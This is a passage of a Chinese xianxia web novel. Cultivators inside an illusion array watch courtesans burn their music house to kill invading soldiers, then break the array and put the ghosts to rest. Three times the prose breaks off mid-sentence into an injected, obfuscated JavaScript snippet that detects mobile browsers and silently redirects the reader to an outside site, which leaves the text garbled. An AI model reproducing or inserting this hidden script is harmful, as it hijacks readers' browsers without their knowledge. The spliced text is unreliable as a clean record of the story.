“我听闻那西朔人不通礼法,野蛮无比,被直接杀死都是轻的。” “快逃吧,逃走了就没事了,逃得越远越好。” “可是我们又能逃到哪里去呢。” 一番话说得众人都沉默下来,乱世之中,谁又不是身如浮萍? 堂内只余识弦的声音:“我不走,我说过要在这里等他回来。”她站得笔直,脸上虽有泪痕,眸中却满是坚毅。 月罗止不住地哭,却也附和着说:“我也不走,我要和大家待在一处。” 玉柔像昨晚那样给她擦着泪,却无暇顾及自己脸上的泪水,喃喃着道:“傻姑娘。” 一向光彩照人的李娘子被众人扶着站在中间,仿佛在瞬间就老去了,面上的皱纹再也遮掩不住。她深深地凝视着面前姿容各异的姑娘,强迫自己镇定下来。 姑娘们需要她。 她平复着呼吸,在众人的目光中启唇道:“若是城守不住,你们先走,琴什么的都不用管,身上多带些银两,年长的照顾着些年幼的。” “那李娘子你呢?” “我不走,”李娘子深吸一口气,目光好似看到了很远的地方,“这楼里是我大半辈子的心血,我死也要死在这。” 月罗再也忍不住,挣脱玉柔拉着她的手,冲上前抱住了李娘子,哑着嗓子唤道:“娘!” 堂内的姑娘们眼眶通红,跟着唤出了心底最深处的那个称呼:“娘。” 玉柔跪了下来,哽咽道:“玉柔自小失了父母,是李娘子重新给了玉柔一个家。娘子抚育玉柔多年,玉柔和楼中姐妹早已将娘子当作亲生母亲看待。李娘子在哪,玉柔就在哪,与此楼共存亡!” 一众姑娘几乎与玉柔在同一时刻跪下,异口同声道:“与此楼共存亡!”如水的声线中,蕴含的是万般决心。 李娘子浑身一颤,泣不成声。她俯身回抱住月罗,泪流满面,对楼中所有姑娘说:“好孩子,都是好孩子...快起来吧,地上这么凉,可别冻到了。” 一位姑娘细声说:“西朔人...也不一定会打进来吧,城中不是还有兵力吗?” “是啊,说不定就是我们杞人忧天,朝廷不会放着陵州不管的。” 守不住的。梁惜因在心内道。 他们一行人从方才起一直就站在墙边,谢淳面带焦色:“要快些找阵眼了,归虚阵越接近结束越是不稳定。” 燕明昭看向他:“师兄...” 谢淳知道她要问什么,轻叹道:“没办法的师妹,这都是已经发生过的事,我们改变不了。” 他话音刚落,眼前的场景就扭曲起来,化作色彩的漩涡。等再度稳定下来时,恰逢黄昏时节。斜阳给半边天都染上了血色,映照着大地上的人心惶惑。 乐楼大门紧闭,姑娘们仍旧坐在大堂内,每个人脸上都带着遮不住、也无心去遮的憔悴。 李娘子双目无神,不施脂粉,头发随意地挽着,缓缓开口说:“我托人打听过了,援兵一时半会赶不到,但城中的守军已撑不了多久了。城破...就是这两日的事了。” 话落,没有哭声响起,像是姑娘们已把这辈子的泪给流尽了。只有一位姑娘眼神空洞地说:“那我们便...在此等死吗?我本是想写遗书的,想了想又觉根本不会有人在意,便也做罢了。”她自嘲地笑了一声。 又一位姑娘愤愤出声:“凭什么死的是我们?分明是他们该死!” 梁惜因心跳加速,她好像已经猜到了什么。 “本就该如此,我们又做错了什么?!” “我若是男儿身就好了,少说也得上战场砍几个西朔脑袋下来!” 在此起彼伏的怨怼声中,李娘子的双眼却是愈来愈亮,就像梁惜因第一次见到她时的样子,光彩夺目,“姑娘们,谁说女子不能杀敌的?” 堂内声音渐消,众人全都怔愣地看向她。识弦最先反应过来,站起身道:“李娘子你是说...” 李娘子神情坚毅,向她点了点头。众姑娘也渐渐回过味来了,面上惊疑不定,但无一人说她这想法不切实际。 时间在沉默之中流逝着,姑娘们好似无声达成了某种协议,眼中重又燃起微弱的希望:“我们听李娘子的。” 场景再度扭曲,出乎意料的是,这次眼前出现的景象却是一片繁华和乐,大堂内烛火明亮,眼前走过的姑娘个个都是盛装打扮、淡妆浓抹。 什么兵临城下、危在旦夕就好似一场远在天边的梦,撼不动这安乐之处半分。 若真是如此,那该有多好。 大门被粗暴地踹开,一身形剽悍的西朔人身着军装,浑身是血地率先走了进来,他身侧紧紧跟着的大盛人操着陵州话道:“将军,这乐楼在城中久具名气,里头的姑娘不仅多才多艺,长得也是水灵的很!” 西朔将军看他一眼,狞笑道:“是吗?” 他的大盛话蹩脚得可笑,却令那陵州人愈加佝偻了身子,脸上挂着讨好的笑意:“是啊,将军...” 下一瞬西朔将军就拔出刀来砍了他的脑袋,大笑出声:“哈哈哈哈——” 跟在他身后的西朔将领与士兵见了,也无不大笑起来,笑大盛人的愚蠢与懦弱。 那脑袋咕噜噜地滚到了立在不远处的李娘子脚边,在木地板上留下一道殷红的轨迹。他眼睛瞪得极大,混杂着谄媚与惊恐,滑稽极了。李娘子极力掩饰住眸中的惧意,扭着身子上前,娇声道:“各位爷怎么才来,奴家和姑娘们已等候多时了。” 西朔将军轻蔑地瞥了她一眼,伸手在她屁股上捏了一把,边大步往里走着边吩咐道:“好酒!好菜!” 李娘子哪敢不从,低眉顺目地应道:“是。” 柳甫畅按住从方才起就想要冲上去的燕明昭:“冷静啊,师姐!我们是外来者,过去了也没用啊。” 燕明昭又气又急:“那你说要如何!” “找阵眼,”谢淳替柳甫畅答道,“你我分头行动,务必在幻境结束前毁掉阵眼,否则吉凶难测。” 几人依言分开,梁惜因在楼内奔走,脑海中一遍遍回忆着入阵后的细节。阵眼、阵眼,到底会是什么... 转眼间,大堂中便坐满了西朔人,其中一人恶劣地将壶中的酒尽数泼向堂上的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358977|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位舞娘,那舞娘浑身湿透,却还是不敢停下来,咬着牙继续起舞。 围坐在一桌的西朔人故意用中原话大声聊着:“这陵州果真是有钱极了,抢的财宝装了十几车都装不下。” “有钱又怎样,一群软骨头,守也守不住,见到爷几个还不得像狗一样双手将宝物奉上。” “都说大盛人细皮嫩肉,我看陵州人更是这样,真是他娘的好砍!” “这陵州的女人据说就和水一样,也不知在床上会不会化成一滩。” 这下流话引得全桌人都大笑起来,他们在大口吃肉的同时,眼神露骨地打量着堂上的乐娘和舞娘们。 梁惜因上楼,强迫自己不去听那些话。外来者终究是外来者,在幻境即将结束之时,他们只能旁观这一切,插手不了半分,阵中诸人也都对她视若不见,丝毫不加阻拦。 她快步奔走着,又在听到熟悉的声音后,骤然在一道门前止住了脚步。房门半掩着,她仅仅犹豫了须臾便走了进去。 雅间内,一众乐娘跪在一起,瑟瑟发抖。玉柔挡在月罗身前,哭喊道:“大人,月罗她还小,有什么冲我来就行了,求您了,大人!” 西朔人一脚把她踹到一边:“贱人!” 玉柔捂着被踹的心口半天没能爬起来。“玉柔姐姐——”月罗嗓音凄厉,她再也顾不得什么局势好坏、力量悬殊,起身就要往那西朔人身上扑,“你打我玉柔姐姐!” 西朔人一巴掌把她扇倒在地,用西朔话骂了句什么。月罗半边白净的小脸高高肿起,发髻散落,头上的簪子也掉落在地。 梁惜因看清了那簪子,正是生辰宴上,李娘子亲手为她簪上的那只。 见那西朔人还欲上前,梁惜因来不及多想,几步冲到了月罗面前,张开双臂,喝道:“住手!” 然而这不过是徒劳。西朔人的手直接穿过了她的身体,她只能眼睁睁地看着西朔人掰着月罗的脸,朝她啐了一口。 月罗手中紧握着那簪子,蓄力朝西朔人脸上刺去,若不是西朔人闪得快,只怕是眼睛都要被戳烂一只了。 西朔人大怒,抬脚就要往她身上踢,跪在一旁的几位乐娘扑过来,用身体将月罗护在中间,闷哼着承受西朔人暴怒之下的拳打脚踢。 梁惜因咬着下唇,逃也似地跑出房间,不敢回头再看。 “大人莫急呀。”是识弦的声音。梁惜因知道自己不该停下,却还是控制不住地向房内看去。 识弦坐在一个西朔人的腿上,抚着他的脸柔声道:“这房内这么暗,待会可就什么都看不清了,先容奴家修一修烛芯。” 那西朔人被迷得眼睛都直了,连连点头答应。 识弦拉上半敞的薄衫,在转身的一瞬间,面上的柔情尽数化作了决绝。她赤着脚走到窗边,数不清是第多少次用那把金色小剪剪着烛芯。 西朔人等得不耐烦,正想走过去,却见识弦猛的将蜡烛扔到了窗帘上,许是之前就抹好了油,火舌眨眼间便席卷了整片窗帘,又在木制的雅间内极速蔓延着。 西朔人哪能料得到,当即大惊,嘴里不断叫骂着,一刀将识弦捅了个对穿。识弦身子晃了晃,扑倒在地,鲜血自伤口处如泉涌出,她眼见着那西朔人被火焰吞噬,嘴角勾起一抹快意的笑。 意识逐渐模糊,眼前一阵阵发黑,她用尽全身最后的力气将手放在了心口上,那里放着那枚她亲自求来的平安符。只可惜,等不到她的薛郎回来娶她了。也不知那傻子下次寄信来却收不到回信会急成什么样...... 烈烈的火光中,她慢慢闭上了双眼。 20. 归虚 梁惜因本就站在门口,此刻又无言地退回了回廊上。她这才看到,不止是面前的这一间雅间,整座乐楼都燃起了大火。 火舌漫卷,黑烟弥漫,如自地狱而来的恶鬼般奔腾着,跳跃着,撕扯着楼内众人的血肉,鲜血淋漓。西朔人明白他们中计了,叫骂声中充满了不可置信。怎奈门窗全部被封死,无处可逃。有人跌跌撞撞地奔到了厨房,里面却连一滴能灭火的水都没有。 尚活着的西朔人一窝蜂地拥到了乐楼大门口。李娘子站在门前,神采奕奕,一双眼睛亮得惊人。身后的木门燃着熊熊火焰,火苗自她的衣摆向上疯长着,她却依然奇迹般的屹立着。 “想逃?晚了!” 为首的西朔将军目光沉沉地看着她,毫无来由地想到了大盛传说中那浴火的凤凰。他一言不发地坐回大堂中,手下的士兵见了,焦急万分的用西朔话问他:“将军,这下怎么办?!” 西朔将军瞪他一眼,将手中的刀狠狠摔在桌案上:“还能怎么办!等死!” “败于此等妇人之手,倒也不算太亏。” 梁惜因忽觉后肩处传来一阵刺痛,她轻嘶一声,回头见是大火蔓延了过来。她当即侧身闪避,西朔人的刀剑伤不了她,而这火却可以,想来是这火里含着幻境中女子最深的怨气。 她从袖中取出随身携带的金光护体符,嘴中默念了一遍咒语,以此在火中穿行。然而没过多久,金光就破了,热浪重新袭面而来。 梁惜因心中暗惊,这符是专门用来抵御凡间的水火和刀剑的,她料想这火与凡火不同,符的威力会减弱一些,却没想到会减这么多。 她又试着运转了下周身灵力,不出所料的被幻阵压制了。情况更棘手了,梁惜因一面小心避让着大火与坍塌的房梁,一面又掏出一张符,继续在楼中奔走。 铺天盖地的大火之下,一切都显得那么公允。不论是杀人不眨眼的战场将军,抑或是软语温腔的水乡歌女,都逃不开化作灰烬的命运。 呻吟声和痛呼声不断向耳中涌来,梁惜因亲眼见到许多前些时日还娇笑着互相打趣的姑娘此刻只能在火中苦苦挣扎,“救我...” 没人能救得了她们。一幅幅秀美的容颜,一具具玲珑的身躯,皆化作了焦黑的枯骨。 流水落花春去也。 玉柔和月罗倒在地上,蜷缩着紧紧抱在一起。“姐姐...好疼,我好怕。”月罗眼角凝出泪珠,还没滑落下来就被热气蒸发了。 火光灼人,一寸寸吞噬着她的肌肤。好疼啊...真的好疼,锥心刺骨的疼。前几日的生辰宴,美好得就如一场幻梦。她那时曾真挚地许下愿望—— 我希望,乐楼的生意能越做越好。楼中的姐妹们可以一直生活在一起,无病无忧。 但愿望终究只能是愿望,在这无情的烈火下化为了飘渺无依而又转瞬即逝的飞灰。 玉柔躺在火中,轻抚着月罗的头发,像小时候那样哄着她,嗓音嘶哑:“不怕...一会就过去了,很快就...再也不会疼了。” 月罗揪着她的衣襟,一字一顿道:“姐姐,等下辈子,我要做你的亲妹妹。” 玉柔已快说不出话来了,但还是以最后的力气郑重应声:“好,姐姐等着你。” 周围只余烈烈火光,无声记录着两人间的诺言。 额上汗珠不停渗出又被蒸发,梁惜因无暇去管,一定有哪里被她忽略了,再想想、再想想... “师妹!”梁惜因险些迎面撞上一人,她定睛一看,正是燕明昭。 梁惜因急切地问她:“师姐,可找到了关于阵眼的线索?” 燕明昭摇头,衣袖都被烧焦了一块:“火太大了,实在找不到的话我们就先出去。虽解不了阵,但总比被困在这要好。” 又是一块房梁坍塌下来,梁惜因咬牙,对她说:“师姐,你先去找师兄和阿霄他们,我再找找线索。” “诶,师妹...”燕明昭没拦住她,眼见她又奔进大火中,只来得及喊了一句:“小心啊!” 胸腔不断起伏着,梁惜因也不知道自己要去哪。燕明昭说得没错,大火漫卷,此时最明智的做法便是先从阵中脱身,等再做分析后重做新入阵。 可她不愿意再让这一切重来一遍了,幻阵是假的没错,但那些血与泪、痛与怨难道也是假的吗?方才的所见所闻,就如一把尖刀,搅得梁惜因几要喘不上气来。 这些姑娘死于大火焚身,死后依旧不得安宁,一次次地经历重复与轮回,又一次次地面对屠刀和火舌。可是,她们分明什么也没做错... 耳畔隐隐传来谢淳几人呼喊她的声音,梁惜因的脚步渐渐慢了下来。再不走,就真的来不及了。 又一次经过此前办宴席的雅间,梁惜因向房中望去,透过层层大火看到了窗沿上的玉色蜡烛。 不对。梁惜因瞳孔骤然放大,她分明记着这蜡烛已被识弦扔下去了。心念一动,她当即捏了一道基础的风诀,一缕疾风自她指间而出,飞速驶向那蜡烛,而蜡烛上的火苗却连一丝颤动也无。 ...找到了。幻阵中的阵眼不论多么隐蔽难寻,都会有其不同寻常之处,这蜡烛便是如此。虽不是百分百的确定,但已没有时间让她犹豫了。 梁惜因把剩下的几张金光护体符全用了,估摸着应是能撑一段时间,随后心一横,冲进了火中。指尖灵气流转,尽数飞向了那垂泪的白烛:“日月照浮云,去伪迎真来。破!” 蜡烛在一霎那扭曲起来,就像是水面上的波纹,整个空间都随之泛起了层层涟漪。身后的火焰不甘地翻滚着,更加凶猛地扑上前,想要将她彻底吞没,却又被一股更为强劲的怨气不由分说地阻挡于几步之外。 阵中的一切都变得静默起来,镜花水月一般,遥远,而又触之即碎。所有的哀与乐、愁与欢都回到了最本真的模样。 再也不闻那寸寸柔肠,盈盈粉泪。 梁惜因回过神来时,发觉自己站在一片焦黑的废墟上。脚底不远处有一块木匾,她辨认了许久才看清楚上面的字——相思乐楼。 “师妹,当心!”燕明昭大喊。 幻阵已破,无处消散的怨气又重新凝聚在了一起,汹涌着向众人袭来。梁惜因迅速捏诀抵挡,又听谢淳喊道:“布阵!” 用不着他细说,几人默契地分立在不同方位,用灵力绘制起渡灵阵来。谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358978|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淳见重霄也立于一角,绘阵的动作极为娴熟,眸中不禁闪过一瞬的讶异,旋即又恢复如常。 白色的阵纹自五个不同方位向整片废墟延伸着,相接而成了一个完整的渡灵阵。“前尘尽散,恩怨成空。生死皆寂,镇魂渡灵!” 谢淳话音落下的一瞬,阵中白光大盛,自下而上地穿透了这二十多年来都不曾消散的怨气。黑雾在白光中尖啸着散尽,光芒暗淡下来后,梁惜因看见了数十个漂浮着的、半透明的身影,周身萦绕着柔和的微光。都是梁惜因在楼中见过的姑娘。 她们并无幻阵中的记忆,面色平静又疑惑地看向几人。月罗牵着玉柔的手,在看到梁惜因时,面上闪过几分惊疑:“这位姐姐,你长得好像倚嫣姐姐啊。” 梁惜因呼吸一滞:“倚嫣...是我娘亲。” 众姑娘听后又是意外又是了然,“想不到倚嫣的孩子都这么大了。” “原来都过去这么多年了吗。” “这孩子的样貌还真不负倚嫣姐当年在陵州的盛名。” 李娘子笑容和善:“你娘亲过得可好?亏得她是在城破前随你爹走的,不然就她那娇气的性子,肯定受不得这苦。” 姑娘们闻言又说开了:“倚嫣姐姐之前可是我们楼中最好的乐娘,名动陵州。不仅能一人住一间房,就连琵琶也是用紫檀木制的呢。” “那琵琶还是倚嫣姐姐自己赚银两买的,后面却没带走,说是要留给楼中的姐妹用。” “结果大家都舍不得用,只有李娘子日日去房内擦拭它。” 往事如烟云,但这些姑娘们说起来就如发生在昨日,每一个细节都是那么清楚。她们说完后又笑眼看向梁惜因,梁惜因平复着心中情绪,不让她们看出异样来。 “娘亲她...现在过得可好了,锦衣玉食,和我爹也特别恩爱。”很难说是不是巧合,幻阵给她安排的身份,竟是就参照于原身的生母。 李娘子宽心了,喃喃道:“那最好不过了,最好不过了。” 谢淳补充说:“且世间无战乱久矣,如今大盛一统两国。”他向前拱手一礼,“我代陵州百姓谢过诸位,若非诸位,收复陵州一战中,定会有更多无辜伤亡。” 其余四人也几乎在同时向她们弯腰施礼。 众姑娘半遮着面,很是不习惯被人这般感谢,难为情道:“公子言重了。” 李娘子环视了遍身侧的姑娘们,释然道:“既如此,我们也该走了。” 一直静默着的识弦这时对梁惜因说:“姑娘,能否托你帮我带一句话...算了,不必了。” 梁惜因知道她想说什么,“姑娘放心,有情人自会重逢。” 识弦微讶,但看向梁惜因清润的双眸,又觉没有多问的必要,她嘴角绽出一抹笑来:“好,承姑娘吉言了。” 一旁的重霄也听到了梁惜因的话,眸光微动,不知在想些什么。 姑娘们的身影愈来愈淡,她们心中对这凡尘尚余无限眷念,彼此之间还有无数句话想要诉说,但最终她们只是对着几人福了福身,“多谢。” 这一声谢,似轻似重,很快就同她们的身影一样,消散在了微风中。 21. 忆梦 梁惜因睁开双眼,她依旧躺在客栈的床上。窗外天刚破晓,鸟鸣声声。 房门被敲响,燕明昭在外喊道:“师妹,梁公子,我们可以进来吗?” “可以!”梁惜因刚应声,房门就猛地被推开了,燕明昭几步走到床前,握着她的手问:“师妹,是不是你找到的阵眼?” “是,就是办生辰宴的那间雅间中的蜡烛。”梁惜因被她的激动感染,语速也不自觉加快了些许。 柳甫畅坐在房内的椅子上,转着扇子道:“这也太难想了吧。” 其实也不算毫无端倪,梁惜因觉得自己应该早些想到的。在幻阵中,正是那只蜡烛见证了楼内姑娘的欢庆,寄托了对远方情郎的思念,也点燃了楼中的第一场火,贯穿了整场幻境。 谢淳则是一进门就去找了重霄,含笑道:“不知梁公子可有兴趣入天璇峰修行?” 重霄果断道:“没有。” 谢淳:“......” 然而大师兄是那么容易放弃的人吗,当然不是。“我观梁公子对阵法颇有研究,实不相瞒,如今阵道缺的就是像你这样的人才。这等天赋,万不能就此埋没了。” 柳甫畅插话道:“我说师兄啊,你要挖人也得问问师妹同不同意吧。” 梁惜因走到两人身边说:“大师兄,阿霄他身子弱,不适合修行,平时他就是在家中随便学学。” 谢淳更兴奋了:“随便学学都能学成这样,梁公子真的不考虑入宗门修行吗?” 重霄勾唇,凝出一抹灵力来:“怕是要让谢公子失望了,我灵力不纯,就算是入了宗门也提不了多少修为。” “原是这样。”修仙之人最是讲求灵力,若最开始修炼出的灵力就不纯,那即便再有天赋,也很难在这一道上有何作为。 谢淳反过来宽慰他道:“无妨,梁公子一表人才,想来将来无论做什么都能有所作为。” 燕明昭打了个哈欠:“既然事情都结束了,那终于能好好睡一觉了吧。” 柳甫畅小声嘀咕:“就知道睡。”又在燕明昭袭来的眼刀下飞速改口,“是啊,我困得眼睛都睁不开了。” 谢淳失笑:“那我们便不叨扰小师妹和梁公子了。” 三人一道出去了,还贴心的把门给关好了。梁惜因的精神彻底放松下来,而这一放松,她就感到了后肩处隐隐的痛意。 差点都忘了,她在幻阵中受了伤。 重霄也注意到了,眸光微黯:“姐姐,我给你上药。” 啊,这不好吧。“还是我回宗自己上吧。”梁惜因说。 重霄皱眉:“姐姐自己如何看得清伤处,况这伤口若不及时处理,只怕会愈加严重。” “那我...” “还是说姐姐想去找燕姑娘?” 梁惜因不说话了。这都能被你看出来?? “姐姐可是信不过我?还是我在姐姐心中比不过燕姑娘?”重霄愈说,脸上的神情就愈落寞。 这都哪跟哪啊?而且这有什么可比的??梁惜因震惊了。她内心迟疑片刻,也罢,不就是上个药吗,阿霄是她弟弟,有何好犹豫不决的? 她褪下左肩的衣服,露出莹润的肩膀和一小部分后背,“那还是阿霄你来吧。” 身后的重霄却久久没有动静,梁惜因心内莫名有几分紧张,侧首唤了一声:“阿霄?” “我在。”重霄拿着梁惜因先前递给他的药膏,从里面剜了一小块出来,轻柔地抹在她的伤处。 “嘶—”伤口接触到清凉的药膏,不禁令梁惜因颤了颤身子。 重霄立马止住了动作,关切道:“姐姐,很疼吗?” “没有,你继续。”只是她在现世中从没受过烧伤,所以有些难耐。 “那我轻一些。”重霄抹着药,从指尖凝出几丝极细的怨气,注入到了梁惜因的伤口中。 梁惜因动了动肩膀,奇道:“咦,好像不疼了。” 重霄轻笑:“想必是这药起了作用,很快就能痊愈了。” 这药这么神吗?里头不会还有麻醉成分吧??梁惜因合上衣服,弯唇笑道:“多谢阿霄了。” 重霄从她身上收回目光,眉眼间带着些许歉意:“姐姐何必与我客气,若非是我...” 后面那句话梁惜因没听清:“嗯?什么?” “无事,姐姐抓紧时间休息吧。”他应该一直跟在梁惜因身后护着她才是。 幻阵结束前,他见梁惜因冲进了一间被大火占领的房间,心下一悸。哪怕明知她没有把握断然不会这么做,且自己还在她体内留有怨气护体,但他还是跑了过去。 大火伤不到他,世间万物无不是恃强凌弱,怨气也不例外,在他靠近之时便叫嚣着向旁退去。他停在房间门口,在最后时刻用怨气为她阻隔了大火。 还好,来得不算太迟。 梁惜因侧躺在床上,背对着重霄。分明身心俱已疲乏,她却还是睡不着。只要一闭上眼,脑中就浮现起楼中姑娘们的面容,一会是她们笑着对自己说话;一会又成了她们在火中呼救哀嚎,半边身子都被烧烂了;一会又是她们的身影彻底消散,半点痕迹都没留下... 重霄将手轻轻搭在她的肩上,“姐姐。”他只唤了这么一声,但已是足够了。 梁惜因声音里含着哽咽:“阿霄,她们明明还那么年轻,又那么勇敢。凭什么、凭什么只能就...她们本该有更好的人生的。” 梁惜因说着翻过身来,重霄轻抚着她的后背:“我明白,我都明白。” 梁惜因抓着他的衣袖,鼻尖萦绕的尽是熟悉的、令人心安的味道。她一句句地说着,重霄便也一直耐心听着,低声宽慰着她。 说着说着,困意袭来,眼皮也渐渐沉重起来,在彻底陷入睡眠前,梁惜因最后嗫嚅着道:“阿霄,还好有你在。” 在现世中,她也不乏崩溃的时刻。只是在那里,从没有人会这般耐心地哄着她。 见梁惜因已睡熟了,重霄动作极轻地抚着她的面颊,眼底柔情万千,在她发顶上落下一了个吻,“好梦,阿因。” 许是睡前听了姑娘们说的那些话,梁惜因梦到了原身的生母——倚嫣。 精致华美的房间内,一女子玉貌花容,正对窗抹泪,瞧着楚楚可怜极了。梁允心疼地揽住她:“嫣儿,乐楼被烧了,我知你心中难受,但你也要为你腹中孩子想想,不能过于哀痛。” 可倚嫣的泪水怎么止都止不住:“夫君,我真的...真的接受不了,那么多姐妹,还有李娘子,一夜之间全都......” 梁允叹了口气:“你且宽心,平野战场上大盛军连连获胜,定能报仇雪恨。” 画面一转,倚嫣怀中抱着一皱巴巴的婴孩,面色虚脱:“夫君,你瞧,我们的孩子。” 梁允吻了吻她,笑容真切地说:“辛苦嫣儿了,这孩子的名字就由嫣儿来取吧。” 倚嫣注视着怀中的小生命,眼底爱意满得快要溢出来:“就叫阿因吧,因缘的因。” 好景不长,倚嫣抱着神情呆滞的小梁因,怔怔地听着着梁允和府医对话。 梁允阴沉着脸,确认道:“你是说这孩子是个傻子?” 府医低着头,恭顺地说:“不敢欺瞒老爷,四小姐她天生缺少...” “够了!我不想听!”梁允挥袖,大喊一声。 府医慌忙告退。倚嫣见梁允要走,把小梁因放在床上,连忙跑来追他:“老爷,老爷,阿因她再如何也是你的孩子啊老爷!” 梁允甩开她,冷哼道:“我可没有一个傻子女儿!” “这事要传出去,你让我官场上的那些同僚怎么看我,搞不好我一世英名都要败在这傻子头上!” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358979|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着跌坐在地痛哭的倚嫣,无比厌恶地说了句:“贱人就是贱人!” 倚嫣膝行着还想再追,但梁允再也没有回头。 梦境的最后,在梁府破败的小院中,倚嫣面色苍白憔悴,她躺在那咯吱作响的木板床上,抑制不住地咳嗽着,咳出的鲜血染红了手中的白帕。 秋月大惊:“姨娘这病怎的越生越严重了?奴婢这便想法子去寻更好的药。” 倚嫣拉住她,声音虚弱:“没用的,什么药都没用的。” 秋月怎会不明白她的意思,强忍着泪意替她掖了掖被角。只是再厚的被子都掩不住倚嫣身上的死意。 窗外寒风呼啸,几粒雪点透过窗缝落在了她脸上,凉透了。 她问秋月:“我的阿因呢?” “小姐在屋门口看雪呢,奴婢这就去把小姐找来。”秋月拭了拭眼角,急忙向门口走去。少顷,她领着裹得像球一样的小梁因走了进来。 小梁因看到了倚嫣,快步跑过来,将双手捧着的雪送至她面前,“娘!娘!” 可这一小团雪很快就化了,小梁因撇了撇嘴就想哭。倚嫣把她的双手塞进被褥里,笑着说:“你这孩子,也不知道冷的吗。” 小梁因也不知听没听懂,又跟着她笑了起来。 倚嫣一阵心酸:“多好的孩子啊。” 秋月附和道:“可不是,我们小姐光是看着就惹人喜爱。” 倚嫣枯瘦的手抚着小梁因的脸,她多么想陪着这孩子长大,只可惜...没有机会了。 她看向秋月,念着她的名字:“秋月...” 秋月凝视着倚嫣的双眸,霎时间什么都懂了,她跪在床前,衷心道::“姨娘放心,奴婢就算是拼了这条命,也会照顾好小姐!” “苦了你了...” 倚嫣目光又移回那张她怎么看也看不够的脸,“阿因...娘亲爱你。”她想哭,可就连哭的力气也没有了。 她想,自己应该高兴才对啊,马上就能和楼中的姐妹团聚了。她恍然间又忆起了当年—— 当年琵琶一曲值千金,众女欢歌费相思。 而如今她已记不清有多少时日没弹过曲了。 好像过了很久,又好像只是须臾间,倚嫣放在小梁因脸上的手落回到了床上,再无动静。 小梁因不明白发生了什么,她似是觉着有趣,晃着倚嫣的手,依旧笑着喊道:“娘,娘!” 秋月再也忍不住,俯身趴在床上大哭起来。 小院内外,只余一片白茫茫的雪。 梁惜因睁眼,不知是不是受原身的影响,她此时只觉心中闷闷地发痛。收拾好情绪后,她见重霄站在窗边,便问:“什么时辰了?我睡了很久吗?” “没多久,午时刚过。姐姐可要再睡会?”重霄看向她答道。 “不睡了,再睡要头疼了。”梁惜因起身。 两人一道向楼下走着,梁惜因突然想到了什么,问重霄道:“阿霄,我才知你也可以修炼灵力,这不会和你体内怨气冲突吗?” “以前会,现在不会了。不过还是会受影响,就如我修不出纯净的灵力,但对付今日的阵法也够用了。” “原是如此。”梁惜因推开客栈的大门,吴掌柜和店小二立马跑了过来,急切地问:“二位仙长,情况如何?” 仙长之前吩咐他们不要让任何人进去,他们就一直守在店门口,眼见着快过去了一天一夜,天知道他们心里等得有多急。 差点就把这两人给忘了。梁惜因忙笑着说:“二位放心,事情已被解决了,那三位仙长此刻正在房内休息。” 吴掌柜一听,顿时热泪盈眶,激动得不知该如何是好:“谢谢仙长!谢谢仙长!大恩大德无以为报啊!” “何须报答,”梁惜因笑意加深,“不知吴掌柜有没有兴趣听我说一说事情经过?” 22. 相思 自那日听了梁惜因的讲述后,吴掌柜大为感动且深受启发,当天下午便找木匠重新订了块匾额——相思客栈,并大肆向往来的客人们宣扬这些姑娘的事迹。 换上新匾额的这日,城中不少百姓都前来祝贺,包括此前受害之人——他们的神志在几日前就完全恢复了。 一楼大堂中坐满了客人,店小二端着盘子灵活地穿梭其中。一位老者捋了捋花白的胡须,感概万分:“二十年多前的那场火,今日总算是灭了啊。” 邻桌的几个路人不解:“老伯,这是何意?” 老者呵呵一笑,转而说:“那场火,我一直记到今日。那年西朔军破城而入,为首的将军就和凶神一般。城中的百姓哪见过这阵仗,全都吓破了胆,眼睁睁看着他们烧杀抢掠。我小儿子才六岁,在西朔人抢到我家时因害怕哭出了声,结果就被活活摔死了。” 老人语调平静,就如这些事情不是发生在他身上一样。店内的客人不知何时聚来了大半,有人低声说:“这也太惨了吧...” “到了晚上,那伙人去当时城中名气最大的乐楼——相思乐楼庆功,结果半夜却突然燃起了大火。”老人的目光好似看到了很远的地方,“我这辈子从没见过那么大的火,半边陵州城的天都被照亮了,月亮都吓得不敢出来。” “这下哪还分什么大盛人和西朔人,全都赶来救火,可是没有用啊,浇了不知道多少桶水下去,一点用都没有。连人带楼,烧了个精光。”老人语速加快,“西朔人气得不行,说这是大盛人的阴谋。我当时心中恨极了他们,你们西朔人死了,那也是坏事做多了的报应!只可惜了我们陵州这些水一样的姑娘,要给他们陪葬。” 这话引起了许多上了年纪的陵州人的共鸣,“是啊,我年轻的时候,最喜欢去那家乐楼听曲子了。” “哪怕不听曲子,干了一天活,光是去那坐坐喝喝茶也是好的,楼里的姑娘还会和你唠家常。” “那时城外慕名而来的客人也是多得很,倚嫣姑娘、玉柔姑娘,可出名了!” 